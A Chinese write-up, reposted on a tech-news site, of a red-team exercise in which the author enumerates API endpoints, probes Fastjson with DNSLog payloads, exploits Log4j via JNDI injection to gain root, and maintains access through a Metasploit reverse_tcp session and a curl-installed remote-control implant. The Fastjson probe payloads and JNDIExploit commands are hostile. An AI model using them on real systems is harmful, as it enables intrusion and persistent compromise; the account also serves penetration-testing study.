当前位置:首页 > 科技  > 软件

记一次攻防演练打点过程

来源: 责编: 时间:2023-10-10 18:30:40 305观看
导读前言在如今错综复杂的网络环境,还有各种防护设备的加持,漏洞利用可谓难上加难。这里简单记录下在一次攻防演练中从打点到权限维持的曲折过程。过程前期先从备案查询、子域名收集、端口扫描等方式获取资产URL。其次对URL

前言

在如今错综复杂的网络环境,还有各种防护设备的加持,漏洞利用可谓难上加难。这里简单记录下在一次攻防演练中从打点到权限维持的曲折过程。bMQ28资讯网——每日最新资讯28at.com

过程

前期先从备案查询、子域名收集、端口扫描等方式获取资产URL。其次对URL进行指纹识别,虽然发现了几个存在指纹的系统,但后续渗透发现漏洞已无法利用,漏洞已修。最后老实本分对其他Web系统进行渗透,寻找突破口。bMQ28资讯网——每日最新资讯28at.com

01 前后端分离架构

前后端分离的开发架构已然成为互联网项目开发的主流模式,通过nginx+tomcat(中间加Node.js)来进行解耦,是未来的大型分布式架构、弹性计算架构、微服务架构和多端化服务的基础。bMQ28资讯网——每日最新资讯28at.com

·前端:负责View和Controller层·后端:负责Model层,进行业务/数据处理bMQ28资讯网——每日最新资讯28at.com

JAVA 更适合做 Model 层、持久层的业务,引入Node.js可进行Controller层的处理。Node.js作为桥梁架接服务端API输出的JSON数据。bMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

02 WebPack资源管理

WebPack本身作为一个资源管理和打包构建工作,其强大之处在于各种静态资源的依赖分析和预编译。经过WebPack编译后得到各种静态资源,通常生成dist文件夹,保存各种静态文件。其结构大致如下:bMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

而app.js文件通常包含了各类前端路由或者后端API接口,是我们渗透前后端系统的突破口。当然不仅仅只是app.js中会存在。bMQ28资讯网——每日最新资讯28at.com

03 发现指纹Fastjson

使用burp插件,可自动从js中爬取前端路由或者后端API接口bMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

当获取到后端API接口时,使用burp的Intruder模块对所有接口发送GET和POST请求,POST请求时可以构造json请求体发送。bMQ28资讯网——每日最新资讯28at.com

部分接口进行GET请求时,后端返回缺失某参数,此时可构造该参数并进行SQL注入等漏洞利用。bMQ28资讯网——每日最新资讯28at.com

此时从报错信息中发现某个接口使用Fastjson组件bMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

于是利用DNS探测判断Fastjson版本bMQ28资讯网——每日最新资讯28at.com

Fastjson < 1.2.43bMQ28资讯网——每日最新资讯28at.com

{"@type":"java.URL","val":"http://dnslog"} {{"@type":"java.URL","val":"http://dnslog"}:"x"}

Fastjson < 1.2.48bMQ28资讯网——每日最新资讯28at.com

{"@type":"java.InetAddress","val":"dnslog"}

Fastjson < 1.2.68bMQ28资讯网——每日最新资讯28at.com

{"@type":"java.Inet6Address","val":"dnslog"}{{"@type":"java.URL","val":"dnslog"}:"aaa"}{{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.URL", "val":"http://dnslog"}}""}{{"@type":"java.URL","val":"http://dnslog"}:0}

未发现DNSLog回显bMQ28资讯网——每日最新资讯28at.com

04 发现log4j漏洞

字段Content-Type存在dnslog回显,先试试dns协议进行dnslog探测bMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

可探测java版本,1.8.0_171版本bMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

使用ldap协议进行dnslog探测bMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

可探测服务器类型,Linux系统bMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

可进行jndi注入利用,使用工具JNDIExploit-1.4-SNAPSHOT.jarbMQ28资讯网——每日最新资讯28at.com

查看使用方式命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -u

bMQ28资讯网——每日最新资讯28at.com

使用TomcatEcho链执行命令并回显命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -i your-vps-ip

bMQ28资讯网——每日最新资讯28at.com

发送cmd命令请求bMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

成功执行命令并回显,root权限bMQ28资讯网——每日最新资讯28at.com

此时获取命令执行权限,如何进行权限维持?获取一个稳定的shellbMQ28资讯网——每日最新资讯28at.com

05 权限维持

1)执行命令,直接反弹shellbMQ28资讯网——每日最新资讯28at.com

2)执行命令,写入webshellbMQ28资讯网——每日最新资讯28at.com

3)jndi注入工具支持打入内存马bMQ28资讯网——每日最新资讯28at.com

4)jndi注入工具1.4版本新增支持上线msfbMQ28资讯网——每日最新资讯28at.com

第一种尝试:执行bash、sh命令反弹shell,存在ldap请求,但反弹命令未执行成功;bMQ28资讯网——每日最新资讯28at.com

第二种尝试:通过pwd、ls命令进行Web系统目录,发现服务由jar起的,写入webshell文件无法利用;bMQ28资讯网——每日最新资讯28at.com

第三种尝试:VPS收到打入内存马的ldap请求,但访问内存马路径时显示404;bMQ28资讯网——每日最新资讯28at.com

第四种尝试:使用tomcatBypass路由上线msf成功bMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

msf开启监听,使用payload:java/meterpreter/reverse_tcpbMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

设置LHOST、LPORT,执行run开启监听bMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

发送ldap请求,请求tomcatBypass路由,IP是VPS的IP,PORT是msf监听的端口bMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

上线msf,得到稳定式shellbMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

得到shell,但无法进行直观目录浏览,而且shell是交互式shell,有没有更好的远控方式呢?bMQ28资讯网——每日最新资讯28at.com

06 上线远控

在本公众号前面发过的文章中提到一款远控平台,自带某厂商证书,为免杀工作省去大量功夫。但上线命令需要使用curl命令,然而该机器上并没有curl命令。bMQ28资讯网——每日最新资讯28at.com

没有curl,但有wget,可不可以使用wget替换curl,询问下chatgptbMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

答案是存在可替换的,但却达不到我们的效果bMQ28资讯网——每日最新资讯28at.com

于是安装curl命令,但yum、apt-get等命令也没有bMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

很奇怪的一个系统,大概率是个阉割版的docker容器,先看下系统版本类型bMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

cat /etc/os-release

bMQ28资讯网——每日最新资讯28at.com

这种系统内核,百度下bMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

是个docker无疑了,询问chatgpt该内核的系统如何下载curlbMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

Apline Linux内核使用轻量级的apk包管理工具来管理软件包。执行一键安装命令,等待安装过程bMQ28资讯网——每日最新资讯28at.com

bMQ28资讯网——每日最新资讯28at.com

安装完成,接下来使用curl命令一键上线远控。bMQ28资讯网——每日最新资讯28at.com

总结

命令执行无法反弹shell或许是防护设备拦截所致。bMQ28资讯网——每日最新资讯28at.com

本文作者:极致攻防实验室, 转载请注明来自FreeBuf.COMbMQ28资讯网——每日最新资讯28at.com

本文链接:http://www.28at.com/showinfo-26-12690-0.html记一次攻防演练打点过程

声明:本网页内容旨在传播知识,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。邮件:2376512515@qq.com

上一篇: 如何优雅的处理Java异常?

下一篇: caliburn.micro日志打印,app.xaml里面如何配置?

标签:
  • 热门焦点
  • 女孩租房开2小时空调用完100元电费引热议:5级能耗惹不起 月薪过万电费也交不起

    近日,江苏苏州一女孩租房当天充值了100元电费,开着空调不到2小时发现电费已用完。对于为什么这个快,房东表示,电表坏了这种情况很多,之前也遇到过,给租客换
  • Rust中的高吞吐量流处理

    作者 | Noz编译 | 王瑞平本篇文章主要介绍了Rust中流处理的概念、方法和优化。作者不仅介绍了流处理的基本概念以及Rust中常用的流处理库,还使用这些库实现了一个流处理程序
  • 分布式系统中的CAP理论,面试必问,你理解了嘛?

    对于刚刚接触分布式系统的小伙伴们来说,一提起分布式系统,就感觉高大上,深不可测。而且看了很多书和视频还是一脸懵逼。这篇文章主要使用大白话的方式,带你理解一下分布式系统
  • 不容错过的MSBuild技巧,必备用法详解和实践指南

    一、MSBuild简介MSBuild是一种基于XML的构建引擎,用于在.NET Framework和.NET Core应用程序中自动化构建过程。它是Visual Studio的构建引擎,可在命令行或其他构建工具中使用
  • JavaScript学习 -AES加密算法

    引言在当今数字化时代,前端应用程序扮演着重要角色,用户的敏感数据经常在前端进行加密和解密操作。然而,这样的操作在网络传输和存储中可能会受到恶意攻击的威胁。为了确保数据
  • 三万字盘点 Spring 九大核心基础功能

    大家好,我是三友~~今天来跟大家聊一聊Spring的9大核心基础功能。话不多说,先上目录:图片友情提示,本文过长,建议收藏,嘿嘿嘿!一、资源管理资源管理是Spring的一个核心的基础功能,不
  • 自律,给不了Keep自由!

    来源 | 互联网品牌官作者 | 李大为编排 | 又耳 审核 | 谷晓辉自律能不能给用户自由暂时不好说,但大概率不能给Keep自由。近日,全球最大的在线健身平台Keep正式登陆港交所,努力
  • 机构称Q2国内智能手机销量同比下滑4% vivo份额重回第1

    7月29日消息,根据市场调查机构Counterpoint Research公布的最新报告,2023年第2季度中国智能手机销量同比下降4%,创新自2014年以来第2季度销量新低。报
  • 华为Mate60标准版细节曝光:经典星环相机模组回归

    这段时间以来,关于华为新旗舰的爆料日渐密集。据此前多方爆料,今年华为将开始恢复一年双旗舰战略,除上半年推出的P60系列外,往年下半年的Mate系列也将
Top